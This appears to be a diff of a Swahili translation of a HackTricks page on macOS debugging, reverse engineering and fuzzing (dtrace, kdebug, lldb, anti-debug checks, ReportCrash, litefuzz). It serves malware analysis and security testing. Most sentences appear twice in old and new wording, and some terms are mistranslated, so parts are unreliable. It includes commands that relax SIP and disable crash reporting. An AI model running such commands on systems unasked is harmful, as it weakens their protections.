Zaidi ya hayo, kuna baadhi ya magogo ambayo yatakuwa na lebo `<private>` kuficha baadhi ya taarifa **za mtumiaji** au **kompyuta**. Hata hivyo, inawezekana **kufunga cheti kufichua taarifa hizi**. Fuata maelezo kutoka [**hapa**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
#### Kifungu cha Kushoto
|
||||
|
||||
Katika kifungu cha kushoto cha hopper inawezekana kuona alama (**Labels**) za binari, orodha ya taratibu na kazi (**Proc**) na strings (**Str**). Hizi siyo strings zote lakini zile zilizofafanuliwa katika sehemu kadhaa za faili ya Mac-O (kama vile _cstring au_ `objc_methname`).
|
||||
Kwenye kifungu cha kushoto cha hopper inawezekana kuona alama (**Labels**) za binary, orodha ya taratibu na kazi (**Proc**) na strings (**Str**). Hizi siyo strings zote lakini zile zilizofafanuliwa katika sehemu kadhaa za faili ya Mac-O (kama vile _cstring au_ `objc_methname`).
|
||||
|
||||
#### Kifungu cha Kati
|
||||
|
||||
Katika kifungu cha kati unaweza kuona **msimbo uliopanguliwa**. Na unaweza kuona kama **msimbo wa ghafi**, kama **grafu**, kama **umepata** na kama **binari** kwa kubofya kwenye ishara husika:
|
||||
Kwenye kifungu cha kati unaweza kuona **msimbo uliopanguliwa**. Na unaweza kuona kama **panguliwa**, kama **grafu**, kama **kupasuliwa** na kama **binary** kwa kubofya kwenye ishara husika:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa kubofya kulia kwenye kitu cha msimbo unaweza kuona **marejeo kwa/kutoka kwa kitu hicho** au hata kubadilisha jina lake (hii haifanyi kazi katika pseudocode iliyopata):
|
||||
Kwa kubofya kulia kwenye kitu cha msimbo unaweza kuona **marejeo kwa/na kutoka kwa kitu hicho** au hata kubadilisha jina lake (hii haitafanyi kazi kwenye pseudocode iliyopasuliwa):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zaidi ya hayo, katika **kati chini unaweza kuandika amri za python**.
|
||||
Zaidi ya hayo, kwenye **kati chini unaweza kuandika amri za python**.
|
||||
|
||||
#### Kifungu cha Kulia
|
||||
|
||||
Katika kifungu cha kulia unaweza kuona habari muhimu kama **historia ya urambazaji** (ili ujue jinsi ulivyofika kwenye hali ya sasa), **grafu ya wito** ambapo unaweza kuona **kazi zote zinazopiga simu kazi hii** na kazi zote ambazo **kazi hii inapiga simu**, na habari za **variables za eneo**.
|
||||
Kwenye kifungu cha kulia unaweza kuona taarifa za kuvutia kama **historia ya urambazaji** (ili ujue jinsi ulivyofika kwenye hali ya sasa), **grafu ya wito** ambapo unaweza kuona **kazi zote zinazopiga simu kazi hii** na kazi zote ambazo **kazi hii inapiga simu**, na taarifa za **variables za eneo**.
|
||||
|
||||
### dtrace
|
||||
|
||||
Inaruhusu watumiaji kupata ufikivu kwa programu kwa kiwango cha chini sana na hutoa njia kwa watumiaji **kufuatilia** **programu** na hata kubadilisha mtiririko wao wa utekelezaji. Dtrace hutumia **probes** ambazo zinawekwa kote katika kernel na ziko katika maeneo kama mwanzo na mwisho wa wito wa mfumo.
|
||||
Inaruhusu watumiaji kupata ufikivu kwenye programu kwa kiwango cha **chini sana** na hutoa njia kwa watumiaji kufuatilia **programu** na hata kubadilisha mtiririko wao wa utekelezaji. Dtrace hutumia **probes** ambazo zinawekwa kote kwenye kernel na ziko kwenye maeneo kama mwanzo na mwisho wa wito wa mfumo.
|
||||
|
||||
DTrace hutumia kazi ya **`dtrace_probe_create`** kuunda kipimo kwa kila wito wa mfumo. Probes hizi zinaweza kufyatuliwa katika **kipengele cha kuingia na kutoka kwa kila wito wa mfumo**. Mwingiliano na DTrace hufanyika kupitia /dev/dtrace ambayo inapatikana kwa mtumiaji wa mizizi pekee.
|
||||
DTrace hutumia kazi ya **`dtrace_probe_create`** kuunda kipimo kwa kila wito wa mfumo. Vipimo hivi vinaweza kufyatuliwa kwenye **ingia na toka kwa kila wito wa mfumo**. Mwingiliano na DTrace hufanyika kupitia /dev/dtrace ambayo inapatikana kwa mtumiaji wa mizizi pekee.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ili kuwezesha Dtrace bila kuzima kabisa ulinzi wa SIP unaweza kutekeleza kwenye hali ya kupona: `csrutil enable --without dtrace`
|
||||
|
||||
Unaweza pia **`dtrace`** au **`dtruss`** binari ambazo **umekusanya**.
|
||||
Unaweza pia **kudtrace** au **kudtruss** binaries ambazo **umekusanya**.
|
||||
{% endhint %}
|
||||
|
||||
Probes zilizopo za dtrace zinaweza kupatikana na:
|
||||
Vipimo vilivyopo vya dtrace vinaweza kupatikana na:
|
||||
```bash
|
||||
dtrace -l | head
|
||||
ID PROVIDER MODULE FUNCTION NAME
|
||||
|
@ -249,9 +278,9 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
```
|
||||
Jina la kichunguzi linajumuisha sehemu nne: mtoa huduma, moduli, kazi, na jina (`fbt:mach_kernel:ptrace:entry`). Ikiwa haujataja sehemu fulani ya jina, Dtrace itatumia sehemu hiyo kama kichujio.
|
||||
|
||||
Ili kusanidi DTrace kuamsha vichunguzi na kueleza ni hatua gani za kutekeleza wanapochomwa, tutahitaji kutumia lugha ya D.
|
||||
Ili kusanidi DTrace kuchochea vichunguzi na kueleza ni hatua gani za kuchukua wanapochomwa, tutahitaji kutumia lugha ya D.
|
||||
|
||||
Maelezo zaidi na mifano zaidi inapatikana katika [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
Maelezo zaidi na mifano zaidi inaweza kupatikana katika [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
|
||||
#### Mifano
|
||||
|
||||
|
@ -305,20 +334,58 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### kdebug
|
||||
|
||||
Ni kituo cha kufuatilia msingi. Miezi iliyodhibitishwa inaweza kupatikana katika **`/usr/share/misc/trace.codes`**.
|
||||
|
||||
Vyombo kama vile `latency`, `sc_usage`, `fs_usage` na `trace` hutumia hii ndani.
|
||||
|
||||
Kuongeza na `kdebug` `sysctl` hutumiwa juu ya `kern.kdebug` jina la nafasi na MIBs za kutumia zinaweza kupatikana katika `sys/sysctl.h` zikiwa na kazi zilizoanzishwa katika `bsd/kern/kdebug.c`.
|
||||
|
||||
Kuwasiliana na kdebug na mteja wa desturi kawaida hatua hizi:
|
||||
|
||||
* Ondoa mipangilio iliyopo na KERN\_KDSETREMOVE
|
||||
* Weka mfuatilio na KERN\_KDSETBUF na KERN\_KDSETUP
|
||||
* Tumia KERN\_KDGETBUF kupata idadi ya vipengele vya kawaida
|
||||
* Pata mteja wako mwenyewe kutoka kwa mfuatilio na KERN\_KDPINDEX
|
||||
* Wezesha ufuatiliaji na KERN\_KDENABLE
|
||||
* Soma kifaa kwa kuita KERN\_KDREADTR
|
||||
* Kulinganisha kila mchakato na mchakato wake piga simu KERN\_KDTHRMAP.
|
||||
|
||||
Ili kupata habari hii inawezekana kutumia zana ya Apple **`trace`** au zana ya desturi [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
|
||||
|
||||
**Tafadhali kumbuka kuwa Kdebug inapatikana kwa mteja 1 kwa wakati mmoja.** Kwa hivyo zana moja tu yenye nguvu ya k-debug inaweza kutekelezwa wakati huo huo.
|
||||
|
||||
### ktrace
|
||||
|
||||
Unaweza kutumia hata wakati **SIP imeamilishwa**
|
||||
`ktrace_*` APIs hutoka kwa `libktrace.dylib` ambayo hufunga zile za `Kdebug`. Kisha, mteja anaweza tu kupiga simu `ktrace_session_create` na `ktrace_events_[single/class]` kuweka maingiliano kwenye nambari maalum na kisha anza na `ktrace_start`.
|
||||
|
||||
Unaweza kutumia hata **SIP ikiwa imewashwa**
|
||||
|
||||
Unaweza kutumia kama wateja zana ya matumizi `ktrace`:
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
Au `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
Hii hutumika kufanya uchambuzi wa kiwango cha kernel na imejengwa kwa kutumia simu za `Kdebug`.
|
||||
|
||||
Kimsingi, kipimo cha jumla `kernel_debug_active` huchunguzwa na ikisetiwa huita `kperf_kdebug_handler` na simu ya `Kdebug` na anwani ya fremu ya kernel inayopiga simu. Ikiwa simu ya `Kdebug` inalingana na moja iliyochaguliwa, inapata "vitendo" vilivyowekwa kama ramani (angalia `osfmk/kperf/action.h` kwa chaguo).
|
||||
|
||||
Kperf ina pia jedwali la sysctl MIB: (kama mzizi) `sysctl kperf`. Nambari hizi zinaweza kupatikana katika `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Zaidi ya hayo, sehemu ya Kperfs inapatikana katika `kpc`, ambayo hutoa habari kuhusu vigezo vya utendaji wa mashine.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) ni chombo cha muhimu sana cha kuchunguza vitendo vinavyohusiana na mchakato ambavyo mchakato unafanya (kwa mfano, kufuatilia ni michakato mipya gani mchakato unazounda).
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) ni chombo chenye manufaa sana kuchunguza vitendo vinavyohusiana na mchakato ambavyo mchakato unafanya (kwa mfano, kufuatilia mchakato mpya ambao mchakato unazalisha).
|
||||
|
||||
### SpriteTree
|
||||
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) ni chombo cha kuchapisha mahusiano kati ya michakato.\
|
||||
Unahitaji kufuatilia mac yako kwa amri kama **`sudo eslogger fork exec rename create > cap.json`** (terminal inayozindua hii inahitaji FDA). Kisha unaweza kupakia json katika chombo hiki kuona mahusiano yote:
|
||||
Unahitaji kufuatilia mac yako na amri kama **`sudo eslogger fork exec rename create > cap.json`** (terminal inayoanzisha hii inahitaji FDA). Kisha unaweza kupakia json katika chombo hiki kuona mahusiano yote:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -328,11 +395,11 @@ Unahitaji kufuatilia mac yako kwa amri kama **`sudo eslogger fork exec rename cr
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) ni chombo cha GUI kinachofanana na watumiaji wa Windows wanaweza kufahamu kutoka kwa _Procmon_ ya Microsoft Sysinternal. Chombo hiki kuruhusu kuanza na kuacha kurekodi aina mbalimbali za matukio, kuruhusu kuchuja matukio haya kwa makundi kama vile faili, mchakato, mtandao, nk., na hutoa uwezo wa kuhifadhi matukio yaliyorekodiwa kwa muundo wa json.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) ni chombo cha GUI kinachofanana na watumiaji wa Windows wanaweza kufahamu kutoka kwa _Procmon_ ya Microsoft Sysinternal. Chombo hiki kuruhusu kuanza na kuacha kurekodi aina mbalimbali za matukio, kuruhusu kuchuja matukio haya kwa makundi kama vile faili, mchakato, mtandao, n.k., na hutoa utendaji wa kuhifadhi matukio yaliyorekodiwa kwa muundo wa json.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) ni sehemu ya zana za Developer za Xcode - hutumiwa kufuatilia utendaji wa programu, kutambua uvujaji wa kumbukumbu na kufuatilia shughuli za mfumo wa faili.
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) ni sehemu ya zana za Developer za Xcode - hutumika kwa kufuatilia utendaji wa programu, kutambua uvujaji wa kumbukumbu na kufuatilia shughuli za mfumo wa faili.
|
||||
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
|
@ -345,23 +412,23 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
```
|
||||
### Mchunguzi wa Kazi
|
||||
|
||||
[**Mchunguzi wa Kazi**](https://objective-see.com/products/taskexplorer.html) ni muhimu kuona **maktaba** zinazotumiwa na binary, **faili** inazotumia, na **muunganisho wa mtandao**.\
|
||||
Pia huchunguza michakato ya binary dhidi ya **virustotal** na kuonyesha habari kuhusu binary hiyo.
|
||||
[**Mchunguzi wa Kazi**](https://objective-see.com/products/taskexplorer.html) ni muhimu kuona **maktaba** zinazotumiwa na faili, **faili** inazotumia, na **muunganisho wa mtandao**.\
|
||||
Pia huchunguza michakato ya faili dhidi ya **virustotal** na kuonyesha habari kuhusu faili hiyo.
|
||||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
Katika [**chapisho hili la blogi**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) unaweza kupata mfano kuhusu jinsi ya **kudebugi daemon inayotumika** ambayo ilitumia **`PT_DENY_ATTACH`** kuzuia kudebugi hata kama SIP ilikuwa imelemazwa.
|
||||
Katika [**chapisho hili la blogi**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) unaweza kupata mfano jinsi ya **kudebugi daemon inayotumia** **`PT_DENY_ATTACH`** kuzuia uchunguzi hata kama SIP ilikuwa imelemazwa.
|
||||
|
||||
### lldb
|
||||
|
||||
**lldb** ni chombo cha **kweli** kwa **kudebugi** binary za **macOS**.
|
||||
**lldb** ni chombo cha **msingi** kwa **kudebugi** faili za **macOS**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
Unaweza kuweka intel flavour unapotumia lldb kwa kuunda faili iitwayo **`.lldbinit`** kwenye folda yako ya nyumbani na mstari ufuatao:
|
||||
Unaweza kuweka intel flavour unapotumia lldb kwa kuunda faili iitwayo **`.lldbinit`** katika folda yako ya nyumbani na mstari ufuatao:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
|
@ -369,10 +436,10 @@ settings set target.x86-disassembly-flavor intel
|
|||
Ndani ya lldb, dumpisha mchakato kwa kutumia `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Amri</strong></td><td><strong>Maelezo</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Kuanza utekelezaji, ambao utaendelea bila kusitishwa hadi kufikia kiungo au mchakato kumalizika.</td></tr><tr><td><strong>continue (c)</strong></td><td>Kuendelea na utekelezaji wa mchakato uliopo kwenye uchunguzi.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Kutekeleza maagizo ijayo. Amri hii itaruka wito wa kazi.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Kutekeleza maagizo ijayo. Tofauti na amri ya nexti, amri hii itaingia kwenye wito wa kazi.</td></tr><tr><td><strong>finish (f)</strong></td><td>Kutekeleza maagizo mengine katika kazi ya sasa ("frame") kurudi na kusitisha.</td></tr><tr><td><strong>control + c</strong></td><td>Kusitisha utekelezaji. Ikiwa mchakato umekuwa ukitekelezwa (r) au kuendelea (c), hii itasababisha mchakato kusitisha ...popote ulipo kwenye utekelezaji.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Kazi yoyote inayoitwa main</p><p>b <binname>`main #Kazi kuu ya bin</p><p>b set -n main --shlib <lib_name> #Kazi kuu ya bin iliyotajwa</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Orodha ya kiungo</p><p>br e/dis <num> #Wezesha/lemaza kiungo</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Pata msaada wa amri ya kiungo</p><p>help memory write #Pata msaada wa kuandika kwenye kumbukumbu</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Onyesha kumbukumbu kama mstari ulio na sifuri.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Onyesha kumbukumbu kama maagizo ya mkusanyiko.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Onyesha kumbukumbu kama baiti.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Hii itachapisha kitu kinachotajwa na paramu</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Taarifa kwamba APIs au njia za Objective-C za Apple kwa kawaida hurejesha vitu, na hivyo inapaswa kuonyeshwa kupitia amri ya "print object" (po). Ikiwa po haizalishi matokeo yanayofaa tumia <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>kumbukumbu soma 0x000....<br>kumbukumbu soma $x0+0xf2a<br>kumbukumbu andika 0x100600000 -s 4 0x41414141 #Andika AAAA kwenye anwani hiyo<br>kumbukumbu andika -f s $rip+0x11f+7 "AAAA" #Andika AAAA kwenye anwani</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas kazi ya sasa</p><p>dis -n <funcname> #Disas kazi</p><p>dis -n <funcname> -b <basename> #Disas kazi<br>dis -c 6 #Disas mistari 6<br>dis -c 0x100003764 -e 0x100003768 # Kutoka anwani moja hadi nyingine<br>dis -p -c 4 # Anza katika anwani ya sasa ya kuchambua</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Angalia safu ya 3 katika reg ya x1</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Amri</strong></td><td><strong>Maelezo</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Kuanza utekelezaji, ambao utaendelea bila kikomo mpaka kivinjari kikome au mchakato ukome.</td></tr><tr><td><strong>continue (c)</strong></td><td>Kuendelea na utekelezaji wa mchakato uliopo kwenye uchunguzi.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Kutekeleza maagizo ijayo. Amri hii itaruka wito wa kazi.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Kutekeleza maagizo ijayo. Tofauti na amri ya nexti, amri hii itaingia kwenye wito wa kazi.</td></tr><tr><td><strong>finish (f)</strong></td><td>Kutekeleza maagizo mengine kwenye kazi ya sasa ("frame") kurudi na kusimamisha.</td></tr><tr><td><strong>control + c</strong></td><td>Kusitisha utekelezaji. Ikiwa mchakato umekuwa ukitekelezwa (r) au kuendelea (c), hii itasababisha mchakato kusimama ...popote ulipo kwenye utekelezaji.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Wito wowote wa kazi unaoitwa main</p><p>b <binname>`main #Kazi kuu ya bin</p><p>b set -n main --shlib <lib_name> #Kazi kuu ya bin iliyotajwa</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Orodha ya vituo vya kuvunja</p><p>br e/dis <num> #Wezesha/lemaza kituo cha kuvunja</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Pata msaada wa amri ya kituo cha kuvunja</p><p>help memory write #Pata msaada wa kuandika kwenye kumbukumbu</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Onyesha kumbukumbu kama mnyororo ulio na mwisho wa null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Onyesha kumbukumbu kama maagizo ya mkusanyiko.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Onyesha kumbukumbu kama baiti.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Hii itachapisha kitu kinachotajwa na paramu</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Tafadhali kumbuka kuwa APIs au njia nyingi za Objective-C za Apple hurudisha vitu, na hivyo inapaswa kuonyeshwa kupitia amri ya "print object" (po). Ikiwa po haizalishi matokeo yanayofaa tumia <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>kumbukumbu soma 0x000....<br>kumbukumbu soma $x0+0xf2a<br>kumbukumbu andika 0x100600000 -s 4 0x41414141 #Andika AAAA kwenye anwani hiyo<br>kumbukumbu andika -f s $rip+0x11f+7 "AAAA" #Andika AAAA kwenye anwani</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas kazi ya sasa</p><p>dis -n <funcname> #Disas kazi</p><p>dis -n <funcname> -b <basename> #Disas kazi<br>dis -c 6 #Disas mistari 6<br>dis -c 0x100003764 -e 0x100003768 # Kutoka anwani moja hadi nyingine<br>dis -p -c 4 # Anza kwenye anwani ya sasa ya kuchambua</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Angalia safu ya 3 katika x1 reg</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Unapoitisha **`objc_sendMsg`** kazi, daftari la **rsi** linashikilia **jina la njia** kama mstari wa sifuri ("C"). Ili kuchapisha jina kupitia lldb fanya:
|
||||
Unapoitisha **`objc_sendMsg`** function, **rsi** register inashikilia **jina la njia** kama mnyororo ulio na mwisho wa null ("C"). Ili kuchapisha jina kupitia lldb fanya:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -391,19 +458,29 @@ Unapoitisha **`objc_sendMsg`** kazi, daftari la **rsi** linashikilia **jina la n
|
|||
* Baadhi ya programu hasidi pia zinaweza **kugundua** ikiwa mashine ni ya **VMware** kulingana na anwani ya MAC (00:50:56).
|
||||
* Pia inawezekana kugundua ikiwa mchakato unachunguzwa na msimbo rahisi kama huu:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //mchakato unachunguzwa }`
|
||||
* Inaweza pia kuita wito wa mfumo wa **`ptrace`** na bendera ya **`PT_DENY_ATTACH`**. Hii **inazuia** kideb**u**gger kushikilia na kufuatilia.
|
||||
* Unaweza kuthibitisha ikiwa **`sysctl`** au **`ptrace`** kazi inaingizwa (lakini programu hasidi inaweza kuipakia kwa dinamiki)
|
||||
* Kama ilivyobainishwa katika andiko hili, “[Kushinda Mbinu za Kuzuia-Uchunguzi: toleo la macOS la ptrace](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Ujumbe Mchakato # ulimaliza na **hali = 45 (0x0000002d)** kawaida ni ishara wazi kwamba lengo la uchunguzi linatumia **PT\_DENY\_ATTACH**_”
|
||||
* Inaweza pia kuita wito wa mfumo wa **`ptrace`** na bendera ya **`PT_DENY_ATTACH`**. Hii **inazuia** kivinjari kutua na kufuatilia.
|
||||
* Unaweza kuangalia ikiwa **`sysctl`** au **`ptrace`** kazi inaingizwa (lakini programu hasidi inaweza kuipakia kwa njia ya dinamiki)
|
||||
* Kama ilivyobainishwa katika andishi hili, “[Kushinda Mbinu za Kuzuia-Uchunguzi: toleo za macOS za ptrace](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Ujumbe Mchakato # ulitoka na **hali = 45 (0x0000002d)** kawaida ni ishara wazi kwamba lengo la uchunguzi linatumia **PT\_DENY\_ATTACH**_”
|
||||
## Kuhifadhi Core
|
||||
|
||||
Core dumps huundwa ikiwa:
|
||||
|
||||
- `kern.coredump` sysctl imewekwa kama 1 (kwa chaguo-msingi)
|
||||
- Ikiwa mchakato haukuwa suid/sgid au `kern.sugid_coredump` ni 1 (kwa chaguo-msingi ni 0)
|
||||
- Kikomo cha `AS_CORE` kuruhusu operesheni. Inawezekana kuzuia uundaji wa core dumps kwa kuita `ulimit -c 0` na kuziruhusu tena kwa `ulimit -c unlimited`.
|
||||
|
||||
Katika kesi hizo, core dumps huundwa kulingana na `kern.corefile` sysctl na kuhifadhiwa kawaida katika `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **anaanisha michakato ya kugonga na kuokoa ripoti ya kugonga kwa diski**. Ripoti ya kugonga ina taarifa ambazo zinaweza **kusaidia mwandishi wa programu kutambua** chanzo cha kugonga.\
|
||||
Kwa maombi na michakato mingine **inayoendeshwa katika muktadha wa uzinduzi wa mtumiaji mmoja**, ReportCrash inaendeshwa kama LaunchAgent na kuokoa ripoti za kugonga kwenye `~/Library/Logs/DiagnosticReports/` ya mtumiaji\
|
||||
Kwa daemons, michakato mingine **inayoendeshwa katika muktadha wa uzinduzi wa mfumo** na michakato mingine yenye mamlaka, ReportCrash inaendeshwa kama LaunchDaemon na kuokoa ripoti za kugonga kwenye `/Library/Logs/DiagnosticReports` ya mfumo
|
||||
ReportCrash **anauchambua michakato inayopasuka na kuokoa ripoti ya kupasuka kwa diski**. Ripoti ya kupasuka ina habari ambayo inaweza **kusaidia mwandishi wa programu kutambua** sababu ya kupasuka.\
|
||||
Kwa maombi na michakato mingine **inayoendeshwa katika muktadha wa uzinduzi wa mtumiaji mmoja**, ReportCrash inaendeshwa kama LaunchAgent na kuokoa ripoti za kupasuka kwenye `~/Library/Logs/DiagnosticReports/` ya mtumiaji\
|
||||
Kwa daemons, michakato mingine **inayoendeshwa katika muktadha wa uzinduzi wa mfumo** na michakato mingine yenye mamlaka, ReportCrash inaendeshwa kama LaunchDaemon na kuokoa ripoti za kupasuka katika `/Library/Logs/DiagnosticReports` ya mfumo
|
||||
|
||||
Ikiwa una wasiwasi kuhusu ripoti za kugonga **zikitumwa kwa Apple** unaweza kuzizima. Vinginevyo, ripoti za kugonga zinaweza kuwa na manufaa **kutambua jinsi server ilivyogonga**.
|
||||
Ikiwa una wasiwasi kuhusu ripoti za kupasuka **kutumwa kwa Apple** unaweza kuzizima. Vinginevyo, ripoti za kupasuka zinaweza kuwa na manufaa **kutambua jinsi server ilivyopasuka**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -417,15 +494,15 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
|||
|
||||
Wakati wa kufanya fuzzing kwenye MacOS ni muhimu kuhakikisha Mac haipati usingizi:
|
||||
|
||||
* systemsetup -setsleep Kamwe
|
||||
* pmset, Mapendeleo ya Mfumo
|
||||
* systemsetup -setsleep Never
|
||||
* pmset, System Preferences
|
||||
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
|
||||
|
||||
#### Kukatisha SSH
|
||||
|
||||
Ikiwa unafanya fuzzing kupitia uhusiano wa SSH ni muhimu kuhakikisha kikao hakitaisha. Kwa hivyo badilisha faili ya sshd\_config na:
|
||||
Ikiwa unafanya fuzzing kupitia uhusiano wa SSH ni muhimu kuhakikisha kikao hakitakwenda siku nzima. Kwa hivyo badilisha faili ya sshd\_config na:
|
||||
|
||||
* TCPKeepAlive Ndiyo
|
||||
* TCPKeepAlive Yes
|
||||
* ClientAliveInterval 0
|
||||
* ClientAliveCountMax 0
|
||||
```bash
|
||||
|
@ -497,7 +574,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Maelezo Zaidi Kuhusu Fuzzing kwenye MacOS
|
||||
### Maelezo Zaidi ya Fuzzing kwenye MacOS
|
||||
|
||||
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
|
@ -531,8 +608,8 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
